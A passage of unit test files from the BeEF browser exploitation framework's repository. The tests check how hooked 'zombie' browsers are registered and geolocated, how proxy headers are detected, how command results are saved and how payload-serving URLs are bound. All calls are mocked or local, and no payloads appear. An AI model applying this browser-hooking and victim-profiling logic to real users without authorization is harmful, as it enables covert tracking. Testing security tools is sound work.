allow(BeEF::Filters).to receive(:alphanums_only?).and_return(true)\n      allow(BeEF::Core::Models::BrowserDetails).to receive(:set)\n      allow(BeEF::Core::Constants::Browsers).to receive(:friendly_name).and_return('Firefox')\n      allow(Resolv).to receive(:getname).with('127.0.0.1').and_return('localhost')\n      zombie = double('HookedBrowser', id: 1, ip: '127.0.0.1')\n      allow(zombie).to receive(:firstseen=)\n      allow(zombie).to receive(:domain=)\n      allow(zombie).to receive(:port=)\n      allow(zombie).to receive(:httpheaders=)\n      allow(zombie).to receive(:httpheaders).and_return('{}')\n      allow(zombie).to receive(:save!)\n      allow(JSON).to receive(:parse).with('{}').and_return({})\n      allow(BeEF::Core::Models::HookedBrowser).to receive(:new).and_return(zombie)\n      expect(Resolv).to receive(:getname).with('127.0.0.1')\n      expect(BeEF::Core::Models::BrowserDetails).to receive(:set).with(session_id, 'host.name', 'localhost')\n      described_class.new(data)\n    end\n\n    it 'handles GeoIP lookup when enabled' do\n      allow(BeEF::Core::GeoIp.instance).to receive(:enabled?).and_return(true)\n      geoip_data = {\n        'city' => { 'names' => { 'en' => 'San Francisco' } },\n        'country' => { 'names' => { 'en' => 'United States' }, 'iso_code' => 'US' },\n        'registered_country' => { 'names' => { 'en' => 'United States' }, 'iso_code' => 'US' },\n        'continent' => { 'names' => { 'en' => 'North America' }, 'code' => 'NA' },\n        'location' => { 'latitude' => 37.7749, 'longitude' => -122.4194, 'time_zone' => 'America/Los_Angeles' }\n      }\n      allow(BeEF::Core::GeoIp.instance).to receive(:lookup).with('127.0.0.1').and_return(geoip_data)\n      allow(BeEF::Core::Models::HookedBrowser).to receive(:where).and_return([])\n      allow(BeEF::Filters).to receive(:is_valid_browsername?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_browserversion?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_ip?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_browserstring?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_cookies?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_osname?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_hwname?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_date_stamp?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_pagetitle?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_url?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_pagereferrer?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_hostname?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_port?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_browser_plugins?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_system_platform?).and_return(true)\n      allow(BeEF::Filters).to receive(:nums_only?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_yes_no?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_memory?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_gpu?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_cpu?).and_return(true)\n      allow(BeEF::Filters).to receive(:alphanums_only?).and_return(true)\n      allow(BeEF::Core::Models::BrowserDetails).to receive(:set)\n      allow(BeEF::Core::Constants::Browsers).to receive(:friendly_name).and_return('Firefox')\n      zombie = double('HookedBrowser', id: 1, ip: '127.0.0.1')\n      allow(zombie).to receive(:firstseen=)\n      allow(zombie).to receive(:domain=)\n      allow(zombie).to receive(:port=)\n      allow(zombie).to receive(:httpheaders=)\n      allow(zombie).to receive(:httpheaders).and_return('{}')\n      allow(zombie).to receive(:save!)\n      allow(JSON).to receive(:parse).with('{}').and_return({})\n      allow(BeEF::Core::Models::HookedBrowser).to receive(:new).and_return(zombie)\n      expect(BeEF::Core::Models::BrowserDetails).to receive(:set).with(session_id, 'location.city', 'San Francisco')\n      expect(BeEF::Core::Models::BrowserDetails).to receive(:set).with(session_id, 'location.country', 'United States')\n      described_class.new(data)\n    end\n\n    it 'detects and stores proxy information' do\n      proxy_data = data.dup\n      proxy_data['request'] = double('Request',\n                                     ip: '127.0.0.1',\n                                     referer: 'http://example.com',\n                                     env: { 'HTTP_X_FORWARDED_FOR' => '192.168.1.1', 'HTTP_VIA' => 'proxy.example.com' })\n      allow(BeEF::Core::Models::HookedBrowser).to receive(:where).and_return([])\n      allow(BeEF::Filters).to receive(:is_valid_browsername?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_browserversion?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_ip?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_browserstring?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_cookies?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_osname?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_hwname?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_date_stamp?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_pagetitle?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_url?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_pagereferrer?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_hostname?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_port?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_browser_plugins?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_system_platform?).and_return(true)\n      allow(BeEF::Filters).to receive(:nums_only?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_yes_no?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_memory?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_gpu?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_cpu?).and_return(true)\n      allow(BeEF::Filters).to receive(:alphanums_only?).and_return(true)\n      allow(BeEF::Core::Models::BrowserDetails).to receive(:set)\n      allow(BeEF::Core::Constants::Browsers).to receive(:friendly_name).and_return('Firefox')\n      zombie = double('HookedBrowser', id: 1, ip: '127.0.0.1')\n      allow(zombie).to receive(:firstseen=)\n      allow(zombie).to receive(:domain=)\n      allow(zombie).to receive(:port=)\n      headers_json = '{\"X_FORWARDED_FOR\":\"192.168.1.1\",\"VIA\":\"proxy.example.com\"}'\n      allow(zombie).to receive(:httpheaders=)\n      allow(zombie).to receive(:httpheaders).and_return(headers_json)\n      allow(zombie).to receive(:save!)\n      allow(JSON).to receive(:parse).with(headers_json).and_return({ 'X_FORWARDED_FOR' => '192.168.1.1', 'VIA' => 'proxy.example.com' })\n      allow(BeEF::Core::Models::HookedBrowser).to receive(:new).and_return(zombie)\n      expect(BeEF::Core::Models::BrowserDetails).to receive(:set).with(session_id, 'network.proxy', 'Yes')\n      expect(BeEF::Core::Models::BrowserDetails).to receive(:set).with(session_id, 'network.proxy.client', '192.168.1.1')\n      expect(BeEF::Core::Models::BrowserDetails).to receive(:set).with(session_id, 'network.proxy.server', 'proxy.example.com')\n      described_class.new(proxy_data)\n    end\n  end\nend\n"
  },
  {
    "path": "spec/beef/core/main/handlers/commands_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nRSpec.describe BeEF::Core::Handlers::Commands do\n  let(:mock_request) do\n    double('request',\n           params: { 'cid' => 123, 'beefhook' => 'test_session_id', 'results' => { 'data' => 'test' } },\n           env: { 'HTTP_USER_AGENT' => 'Mozilla/5.0' })\n  end\n\n  let(:data) do\n    {\n      'request' => mock_request,\n      'status' => 1,\n      'results' => { 'data' => 'test' },\n      'cid' => 123,\n      'beefhook' => 'test_session_id'\n    }\n  end\n\n  let(:mock_command_class) do\n    Class.new do\n      def initialize(_key)\n        @friendlyname = 'Test Command'\n      end\n\n      attr_accessor :session_id\n\n      def friendlyname\n        @friendlyname\n      end\n\n      def build_callback_datastore(_result, _command_id, _beefhook, _http_params, _http_header); end\n\n      def post_execute; end\n    end\n  end\n\n  before do\n    allow(BeEF::Core::Command).to receive(:const_get).and_return(mock_command_class)\n    allow(BeEF::Module).to receive(:get_key_by_class).and_return('test_module')\n    allow(BeEF::Core::Models::Command).to receive(:save_result).and_return(true)\n  end\n\n  describe '#initialize' do\n    it 'initializes with data and class name' do\n      handler = described_class.new(data, 'test')\n      expect(handler.instance_variable_get(:@data)).to eq(data)\n    end\n  end\n\n  describe '#get_param' do\n    let(:handler) { described_class.new(data, 'test') }\n\n    it 'returns value when key exists' do\n      expect(handler.get_param(data, 'status')).to eq(1)\n    end\n\n    it 'returns nil when key does not exist' do\n      expect(handler.get_param(data, 'nonexistent')).to be_nil\n    end\n\n    it 'returns nil when query is not a hash' do\n      expect(handler.get_param('not a hash', 'key')).to be_nil\n    end\n  end\n\n  describe '#setup' do\n    context 'with valid parameters' do\n      it 'processes command successfully' do\n        allow(BeEF::Filters).to receive(:is_valid_hook_session_id?).and_return(true)\n        handler = described_class.new(data, 'test')\n        expect(BeEF::Core::Models::Command).to receive(:save_result).with(\n          'test_session_id',\n          123,\n          'Test Command',\n          { 'data' => { 'data' => 'test' } },\n          1\n        )\n        handler.setup\n      end\n    end\n\n    context 'with invalid command id' do\n      let(:invalid_data) do\n        {\n          'request' => double('request', params: { 'cid' => 'not_an_integer' }, env: {}),\n          'status' => 1,\n          'results' => {}\n        }\n      end\n\n      it 'returns early without saving' do\n        handler = described_class.new(invalid_data, 'test')\n        expect(BeEF::Core::Models::Command).not_to receive(:save_result)\n        handler.setup\n      end\n    end\n\n    context 'with invalid session id' do\n      let(:invalid_data) do\n        {\n          'request' => double('request', params: { 'cid' => 123, 'beefhook' => 'invalid' }, env: {}),\n          'status' => 1,\n          'results' => {}\n        }\n      end\n\n      it 'returns early without saving' do\n        allow(BeEF::Filters).to receive(:is_valid_hook_session_id?).and_return(false)\n        handler = described_class.new(invalid_data, 'test')\n        expect(BeEF::Core::Models::Command).not_to receive(:save_result)\n        handler.setup\n      end\n    end\n\n    context 'with empty friendly name' do\n      let(:empty_friendlyname_command) do\n        Class.new do\n          def initialize(_key)\n            @friendlyname = ''\n          end\n\n          attr_accessor :session_id\n\n          def friendlyname\n            @friendlyname\n          end\n\n          def build_callback_datastore(_result, _command_id, _beefhook, _http_params, _http_header); end\n        end\n      end\n\n      it 'returns early without saving' do\n        allow(BeEF::Core::Command).to receive(:const_get).and_return(empty_friendlyname_command)\n        allow(BeEF::Filters).to receive(:is_valid_hook_session_id?).and_return(true)\n        handler = described_class.new(data, 'test')\n        expect(BeEF::Core::Models::Command).not_to receive(:save_result)\n        handler.setup\n      end\n    end\n\n    context 'with invalid status' do\n      let(:invalid_status_data) do\n        {\n          'request' => mock_request,\n          'status' => 'not_an_integer',\n          'results' => { 'data' => 'test' }\n        }\n      end\n\n      it 'returns early without saving' do\n        allow(BeEF::Filters).to receive(:is_valid_hook_session_id?).and_return(true)\n        handler = described_class.new(invalid_status_data, 'test')\n        expect(BeEF::Core::Models::Command).not_to receive(:save_result)\n        handler.setup\n      end\n    end\n\n    context 'with empty results' do\n      let(:empty_results_data) do\n        {\n          'request' => mock_request,\n          'status' => 1,\n          'results' => {}\n        }\n      end\n\n      it 'returns early without saving' do\n        allow(BeEF::Filters).to receive(:is_valid_hook_session_id?).and_return(true)\n        handler = described_class.new(empty_results_data, 'test')\n        expect(BeEF::Core::Models::Command).not_to receive(:save_result)\n        handler.setup\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "spec/beef/core/main/handlers/hookedbrowsers_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nRSpec.describe BeEF::Core::Handlers::HookedBrowsers do\n  # Test the confirm_browser_user_agent logic directly\n  describe 'confirm_browser_user_agent logic' do\n    it 'matches legacy browser user agents' do\n      allow(BeEF::Core::Models::LegacyBrowserUserAgents).to receive(:user_agents).and_return(['IE 8.0'])\n      \n      # Test the logic: browser_type = user_agent.split(' ').last\n      user_agent = 'Mozilla/5.0 IE 8.0'\n      browser_type = user_agent.split(' ').last\n      \n      # Test the matching logic\n      matched = false\n      BeEF::Core::Models::LegacyBrowserUserAgents.user_agents.each do |ua_string|\n        matched = true if ua_string.include?(browser_type)\n      end\n      \n      expect(matched).to be true\n    end\n\n    it 'does not match non-legacy browser user agents' do\n      allow(BeEF::Core::Models::LegacyBrowserUserAgents).to receive(:user_agents).and_return([])\n      \n      user_agent = 'Chrome/91.0'\n      browser_type = user_agent.split(' ').last\n      \n      matched = false\n      BeEF::Core::Models::LegacyBrowserUserAgents.user_agents.each do |ua_string|\n        matched = true if ua_string.include?(browser_type)\n      end\n      \n      expect(matched).to be false\n    end\n  end\nend\n"
  },
  {
    "path": "spec/beef/core/main/migration_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'spec_helper'\n\nRSpec.describe 'BeEF::Core::Migration' do\n  let(:migration) { BeEF::Core::Migration.instance }\n  let(:config) { BeEF::Core::Configuration.instance }\n  let(:api_registrar) { BeEF::API::Registrar.instance }\n\n  describe '.instance' do\n    it 'returns a singleton instance' do\n      instance1 = BeEF::Core::Migration.instance\n      instance2 = BeEF::Core::Migration.instance\n      expect(instance1).to be(instance2)\n    end\n  end\n\n  describe '#update_db!' do\n    it 'calls update_commands!' do\n      expect(migration).to receive(:update_commands!)\n      expect(migration.update_db!).to be_nil\n    end\n  end\n\n  describe '#update_commands!' do\n    before do\n      # Clear existing modules from database\n      BeEF::Core::Models::CommandModule.destroy_all\n\n      # Mock API registrar to verify it's called\n      allow(api_registrar).to receive(:fire)\n    end\n\n    it 'creates new modules from config that are not in database' do\n      # Setup config with a new module\n      module_config = {\n        'test_module' => { 'path' => 'modules/test/' }\n      }\n      allow(config).to receive(:get).with('beef.module').and_return(module_config)\n      allow(config).to receive(:get).with('beef.module.test_module').and_return({ 'path' => 'modules/test/' })\n\n      initial_count = BeEF::Core::Models::CommandModule.count\n      migration.update_commands!\n\n      expect(BeEF::Core::Models::CommandModule.count).to eq(initial_count + 1)\n      created_module = BeEF::Core::Models::CommandModule.find_by(name: 'test_module')\n      expect(created_module).not_to be_nil\n      expect(created_module.path).to eq('modules/test/module.rb')\n    end\n\n    it 'updates config with database IDs and paths for existing modules' do\n      # Create a module in the database first\n      existing_module = BeEF::Core::Models::CommandModule.create!(\n        name: 'existing_module',\n        path: 'modules/existing/module.rb'\n      )\n\n      # Setup config to include this existing module\n      module_config = {\n        'existing_module' => { 'path' => 'modules/existing/' }\n      }\n      allow(config).to receive(:get).with('beef.module').and_return(module_config)\n      allow(config).to receive(:get).with('beef.module.existing_module').and_return({ 'path' => 'modules/existing/' })\n      allow(config).to receive(:set)\n\n      migration.update_commands!\n\n      expect(config).to have_received(:set).with('beef.module.existing_module.db.id', existing_module.id)\n      expect(config).to have_received(:set).with('beef.module.existing_module.db.path', 'modules/existing/module.rb')\n    end\n\n    it 'fires the migrate_commands API event' do\n      allow(config).to receive(:get).with('beef.module').and_return({})\n      migration.update_commands!\n      expect(api_registrar).to have_received(:fire).with(BeEF::API::Migration, 'migrate_commands')\n    end\n\n    it 'does not create modules that already exist in database' do\n      # Create a module in the database\n      BeEF::Core::Models::CommandModule.create!(\n        name: 'existing_module',\n        path: 'modules/existing/module.rb'\n      )\n\n      # Setup config with the same module\n      module_config = {\n        'existing_module' => { 'path' => 'modules/existing/' }\n      }\n      allow(config).to receive(:get).with('beef.module').and_return(module_config)\n      allow(config).to receive(:get).with('beef.module.existing_module').and_return({ 'path' => 'modules/existing/' })\n\n      initial_count = BeEF::Core::Models::CommandModule.count\n      migration.update_commands!\n\n      # Should not create a duplicate\n      expect(BeEF::Core::Models::CommandModule.count).to eq(initial_count)\n    end\n  end\nend\n"
  },
  {
    "path": "spec/beef/core/main/models/browser_details_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nRSpec.describe 'BeEF BrowserDetails' do\n\n  before(:all) do\n    @session = (0...10).map { ('a'..'z').to_a[rand(26)] }.join\n  end\n\n  it 'set nil value' do\n    BeEF::Core::Models::BrowserDetails.set(@session, 'key_with_nil_value', nil)\n    expect(BeEF::Core::Models::BrowserDetails.get(@session, 'key_with_nil_value')).to be_empty\n  end\n\n  it 'set value' do\n    key_name = (0...10).map { ('a'..'z').to_a[rand(26)] }.join\n    key_value = (0...10).map { ('a'..'z').to_a[rand(26)] }.join\n    BeEF::Core::Models::BrowserDetails.set(@session, key_name, key_value)\n    expect(BeEF::Core::Models::BrowserDetails.get(@session, key_name)).to eql(key_value)\n  end\n\n  it 'update value' do\n    key_name = (0...10).map { ('a'..'z').to_a[rand(26)] }.join\n\n    original_key_value = (0...10).map { ('a'..'z').to_a[rand(26)] }.join\n    BeEF::Core::Models::BrowserDetails.set(@session, key_name, original_key_value).to_s\n    expect(BeEF::Core::Models::BrowserDetails.get(@session, key_name)).to eql(original_key_value)\n\n    new_key_value = (0...10).map { ('a'..'z').to_a[rand(26)] }.join\n    BeEF::Core::Models::BrowserDetails.set(@session, key_name, new_key_value).to_s\n    expect(BeEF::Core::Models::BrowserDetails.get(@session, key_name)).to_not eql(original_key_value)\n    expect(BeEF::Core::Models::BrowserDetails.get(@session, key_name)).to eql(new_key_value)\n  end\n\nend\n"
  },
  {
    "path": "spec/beef/core/main/models/legacybrowseruseragents_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nRSpec.describe BeEF::Core::Models::LegacyBrowserUserAgents do\n  describe '.user_agents' do\n    it 'returns an array' do\n      expect(described_class.user_agents).to be_a(Array)\n    end\n\n    it 'returns an array that can be iterated' do\n      result = described_class.user_agents.map { |ua| ua }\n\n      expect(result).to be_a(Array)\n    end\n  end\nend\n"
  },
  {
    "path": "spec/beef/core/main/models/optioncache_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nRSpec.describe BeEF::Core::Models::OptionCache do\n  describe '.first_or_create' do\n    it 'creates a new option cache with a name' do\n      name = 'test_option'\n      option = described_class.first_or_create(name: name)\n\n      expect(option).to be_persisted\n      expect(option.name).to eq(name)\n      expect(option.value).to be_nil\n    end\n\n    it 'returns existing option cache if it already exists' do\n      name = 'existing_option'\n      existing = described_class.create!(name: name, value: 'existing_value')\n\n      option = described_class.first_or_create(name: name)\n\n      expect(option.id).to eq(existing.id)\n      expect(option.name).to eq(name)\n      expect(option.value).to eq('existing_value')\n    end\n  end\n\n  describe '.where' do\n    it 'finds option cache by name' do\n      name = 'findable_option'\n      described_class.create!(name: name, value: 'test_value')\n\n      option = described_class.where(name: name).first\n\n      expect(option).not_to be_nil\n      expect(option.name).to eq(name)\n      expect(option.value).to eq('test_value')\n    end\n\n    it 'returns nil when option cache does not exist' do\n      option = described_class.where(name: 'non_existent').first\n\n      expect(option).to be_nil\n    end\n  end\n\n  describe 'attributes' do\n    it 'can set and retrieve name' do\n      option = described_class.new(name: 'test_name')\n      expect(option.name).to eq('test_name')\n    end\n\n    it 'can set and retrieve value' do\n      option = described_class.new(value: 'test_value')\n      expect(option.value).to eq('test_value')\n    end\n  end\nend\n"
  },
  {
    "path": "spec/beef/core/main/models/result_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nRSpec.describe BeEF::Core::Models::Result do\n  describe 'associations' do\n    it 'has_one command' do\n      expect(described_class.reflect_on_association(:command)).not_to be_nil\n      expect(described_class.reflect_on_association(:command).macro).to eq(:has_one)\n    end\n\n    it 'has_one hooked_browser' do\n      expect(described_class.reflect_on_association(:hooked_browser)).not_to be_nil\n      expect(described_class.reflect_on_association(:hooked_browser).macro).to eq(:has_one)\n    end\n  end\n\n  describe '.create' do\n    let(:hooked_browser) { BeEF::Core::Models::HookedBrowser.create!(session: 'test_session', ip: '127.0.0.1') }\n    let(:command_module) { BeEF::Core::Models::CommandModule.create!(name: 'test_module', path: 'modules/test/') }\n    let(:command) { BeEF::Core::Models::Command.create!(hooked_browser_id: hooked_browser.id, command_module_id: command_module.id) }\n\n    it 'creates a result with required attributes' do\n      result = described_class.create!(\n        hooked_browser_id: hooked_browser.id,\n        command_id: command.id,\n        data: { 'test' => 'data' }.to_json,\n        status: 0,\n        date: Time.now.to_i\n      )\n\n      expect(result).to be_persisted\n      expect(result.hooked_browser_id).to eq(hooked_browser.id)\n      expect(result.command_id).to eq(command.id)\n      expect(result.status).to eq(0)\n    end\n\n    it 'can access command_id' do\n      result = described_class.create!(\n        hooked_browser_id: hooked_browser.id,\n        command_id: command.id,\n        data: {}.to_json,\n        status: 0,\n        date: Time.now.to_i\n      )\n\n      expect(result.command_id).to eq(command.id)\n    end\n  end\nend\n"
  },
  {
    "path": "spec/beef/core/main/network_stack/assethandler_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nRSpec.describe BeEF::Core::NetworkStack::Handlers::AssetHandler do\n  let(:handler) { described_class.instance }\n\n  before do\n    @mock_server = double('server', mount: true, unmount: true, remap: true)\n    allow(BeEF::Core::Server).to receive(:instance).and_return(@mock_server)\n    # Reset singleton state\n    handler.instance_variable_set(:@allocations, {})\n    handler.instance_variable_set(:@sockets, {})\n    handler.instance_variable_set(:@http_server, @mock_server)\n  end\n\n  describe '#initialize' do\n    it 'initializes with empty allocations and sockets' do\n      expect(handler.allocations).to eq({})\n      expect(handler.root_dir).to be_a(String)\n    end\n  end\n\n  describe '#build_url' do\n    it 'returns path when path is provided' do\n      expect(handler.build_url('/test', nil)).to eq('/test')\n    end\n\n    it 'appends extension when provided' do\n      expect(handler.build_url('/test', 'js')).to eq('/test.js')\n    end\n\n    it 'generates random URL when path is nil' do\n      url = handler.build_url(nil, nil)\n      expect(url).to start_with('/')\n      expect(url.length).to be > 1\n    end\n\n    it 'generates random URL with extension when path is nil' do\n      url = handler.build_url(nil, 'js')\n      expect(url).to end_with('.js')\n      expect(url).to start_with('/')\n    end\n  end\n\n  describe '#check' do\n    it 'returns false when URL is not allocated' do\n      expect(handler.check('/nonexistent')).to be false\n    end\n\n    it 'returns true when count is -1 (unlimited)' do\n      handler.instance_variable_set(:@allocations, { '/test' => { 'count' => -1 } })\n      expect(handler.check('/test')).to be true\n    end\n\n    it 'decrements count and returns true when count > 0' do\n      handler.instance_variable_set(:@allocations, { '/test' => { 'count' => 2 } })\n      expect(handler.check('/test')).to be true\n      expect(handler.allocations['/test']['count']).to eq(1)\n    end\n\n    it 'unbinds when count reaches 0' do\n      handler.instance_variable_set(:@allocations, { '/test' => { 'count' => 1 } })\n      expect(handler).to receive(:unbind).with('/test')\n      handler.check('/test')\n    end\n\n    it 'returns false when count is 0' do\n      handler.instance_variable_set(:@allocations, { '/test' => { 'count' => 0 } })\n      expect(handler.check('/test')).to be false\n    end\n  end\n\n  describe '#bind_redirect' do\n    it 'binds redirector to URL' do\n      expect(@mock_server).to receive(:mount)\n      expect(@mock_server).to receive(:remap)\n      url = handler.bind_redirect('http://example.com', '/redirect')\n      expect(url).to eq('/redirect')\n      expect(handler.allocations['/redirect']).to eq({ 'target' => 'http://example.com' })\n    end\n\n    it 'generates random URL when path is nil' do\n      expect(@mock_server).to receive(:mount)\n      expect(@mock_server).to receive(:remap)\n      url = handler.bind_redirect('http://example.com')\n      expect(url).to start_with('/')\n      expect(handler.allocations[url]).not_to be_nil\n    end\n  end\n\n  describe '#bind_raw' do\n    it 'binds raw HTTP response to URL' do\n      expect(@mock_server).to receive(:mount)\n      expect(@mock_server).to receive(:remap)\n      url = handler.bind_raw('200', { 'Content-Type' => 'text/html' }, '<html></html>', '/raw')\n      expect(url).to eq('/raw')\n      expect(handler.allocations['/raw']).to eq({})\n    end\n  end\n\n  describe '#bind' do\n    let(:test_file) { '/spec/support/assets/test.txt' }\n    let(:test_file_path) { File.join(handler.root_dir, test_file) }\n\n    before do\n      FileUtils.mkdir_p(File.dirname(test_file_path))\n      File.write(test_file_path, 'test content')\n    end\n\n    after do\n      FileUtils.rm_f(test_file_path)\n    end\n\n    it 'binds file to URL when file exists' do\n      expect(@mock_server).to receive(:mount)\n      expect(@mock_server).to receive(:remap)\n      url = handler.bind(test_file, '/test')\n      expect(url).to eq('/test')\n      expect(handler.allocations['/test']['file']).to include(test_file)\n    end\n\n    it 'returns nil when file does not exist' do\n      expect(@mock_server).not_to receive(:mount)\n      result = handler.bind('/nonexistent/file.txt', '/test')\n      expect(result).to be_nil\n    end\n\n    it 'uses text/plain content type when extension is nil' do\n      expect(@mock_server).to receive(:mount) do |_url, handler_obj|\n        expect(handler_obj.instance_variable_get(:@header)['Content-Type']).to eq('text/plain')\n      end\n      expect(@mock_server).to receive(:remap)\n      handler.bind(test_file, '/test', nil)\n    end\n  end\n\n  describe '#unbind' do\n    it 'removes allocation and unmounts URL' do\n      handler.instance_variable_set(:@allocations, { '/test' => {} })\n      expect(@mock_server).to receive(:unmount).with('/test')\n      expect(@mock_server).to receive(:remap)\n      handler.unbind('/test')\n      expect(handler.allocations).not_to have_key('/test')\n    end\n  end\nend\n"
  },
  {
    "path": "spec/beef/core/main/network_stack/handlers/dynamic_reconstruction_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nRSpec.describe 'BeEF Dynamic Reconsturction' do\n\n  before(:all) do\n    @__ar_config_snapshot = SpecActiveRecordConnection.snapshot\n    @port = 2001\n    config = {}\n    config[:BindAddress] = '127.0.0.1'\n    config[:Port] = @port.to_s\n    @mounts = {}\n    @mounts['/test'] = BeEF::Core::NetworkStack::Handlers::DynamicReconstruction.new\n    @rackApp = Rack::URLMap.new(@mounts)\n    Thin::Logging.silent = true\n    @server = Thin::Server.new('127.0.0.1', @port.to_s, @rackApp)\n    trap(\"INT\") { @server.stop }\n    trap(\"TERM\") { @server.stop }\n\n    # ***** IMPORTANT: close any and all AR/OTR connections before forking *****\n    disconnect_all_active_record!\n\n    @pid = fork do\n      @server.start!\n    end\n    # wait for server to start\n    sleep 1\n  end\n\n  after(:all) do\n    Process.kill(\"INT\",@pid)\n    SpecActiveRecordConnection.restore!(@__ar_config_snapshot)\n  end\n\n  it 'delete' do\n    response = Curl::Easy.http_delete(\"http://127.0.0.1:#{@port}/test\")\n    expect(response.response_code).to eql(404)\n  end\n\n  it 'put' do\n    response = Curl::Easy.http_put(\"http://127.0.0.1:#{@port}/test\", nil)\n    expect(response.response_code).to eql(404)\n  end\n\n  it 'head' do\n    response = Curl::Easy.http_head(\"http://127.0.0.1:#{@port}/test\")\n    expect(response.response_code).to eql(404)\n  end\n\n  context 'get' do\n\n    it 'no params' do\n      response = Curl::Easy.http_get(\"http://127.0.0.1:#{@port}/test\")\n      expect(response.response_code).to eql(404)\n    end\n\n    it 'zero values' do\n      response = Curl::Easy.http_get(\"http://127.0.0.1:#{@port}/test?bh=0&sid=0&pid=0&pc=0&d=0\")\n      expect(response.response_code).to eql(200)\n      expect(response.body_str).to be_empty\n    end\n\n    it 'one values' do\n      response = Curl::Easy.http_get(\"http://127.0.0.1:#{@port}/test?bh=1&sid=1&pid=1&pc=1&d=1\")\n      expect(response.response_code).to eql(200)\n      expect(response.body_str).to be_empty\n    end\n\n    it 'negative one values' do\n      response = Curl::Easy.http_get(\"http://127.0.0.1:#{@port}/test?bh=-1&sid=-1&pid=-1&pc=-1&d=-1\")\n      expect(response.response_code).to eql(200)\n      expect(response.body_str).to be_empty\n    end\n\n    # Fails gracefully\n    it 'ascii values' do\n      response = Curl::Easy.http_get(\"http://127.0.0.1:#{@port}/test?bh=z&sid=z&pid=z&pc=z&d=z\")\n      expect(response.response_code).to eql(200)\n      expect(response.body_str).to be_empty\n    end\n\n    # Fails gracefully\n    it 'array values' do\n      response = Curl::Easy.http_get(\"http://127.0.0.1:#{@port}/test?bh[]=1&sid[]=1&pid[]=1&pc[]=1&d[]=1\")\n      expect(response.response_code).to eql(200)\n      expect(response.body_str).to be_empty\n    end\n\n  end\n\nend\n"
  },
  {
    "path": "spec/beef/core/main/network_stack/handlers/raw_spec.rb",
